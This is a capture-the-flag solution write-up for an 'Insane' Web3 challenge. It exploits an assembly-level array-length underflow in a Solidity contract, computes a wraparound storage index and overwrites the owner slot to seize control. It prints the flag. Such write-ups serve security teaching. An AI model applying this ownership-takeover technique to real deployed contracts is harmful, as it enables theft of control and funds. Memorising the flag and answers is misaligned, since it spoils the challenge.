# TACHIBANA_FIRMWARE_REGISTRY — Solution **Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` ## Overview Smart contract challenge. The contract has a `_trimStaleEntries()` function that uses raw assembly to decrement `firmwareHashes.length`. When the array is **empty** (length=0), the assembly `sub(len, 1)` wraps to `2^256-1` — granting write access to all `2^256` storage slots via `modifyFirmware()`. ## Architecture - Port 1337/tcp: console (commands: `info`, `abi`, `check`) - Port 8545/tcp: Ethereum JSON-RPC node ## Step 1 — Register as operator ```python contract.functions.registerOperator() ``` Verify `firmwareHashes.length == 0` (array is empty — prerequisite for the underflow). ## Step 2 — Trigger the underflow ```python contract.functions.auditFirmware() # Internally: assembly { sstore(slot, sub(len, 1)) } # With len=0 → new length = 2^256 - 1 ``` ## Step 3 — Compute the target storage index Solidity dynamic arrays store elements at `keccak256(abi.encode(slot)) + index`. `firmwareHashes` is at slot 2. To write to slot 0 (owner): ```python from web3 import Web3 array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big") # base + target_index ≡ 0 (mod 2^256) target_index = (2**256) - array_base ``` ## Step 4 — Overwrite the owner ```python player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:]) contract.functions.modifyFirmware(target_index, player_as_bytes32) # slot 0 now contains our address → we are the new owner ``` ## Step 5 — Trigger emergency override as new owner ```python contract.functions.triggerEmergency() ``` ## Step 6 — Get the flag ```text check ``` ## Automated Solver ```bash python3 solve.py ``` ## Key Concepts - **EVM unchecked arithmetic in assembly**: `sub(0, 1)` wraps to `2^256-1` even in Solidity ≥0.8 when using raw `assembly {}` - **Dynamic array storage layout**: Elements stored at `keccak256(slot) + index`, enabling arbitrary storage writes via overflow - **Fuzzing invariants**: A custom property `owner == deployer` would have caught this immediately - **Storage slot arithmetic**: Computing wraparound index requires modular arithmetic over GF(2^256) ## Flag `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` ## Author Eun0us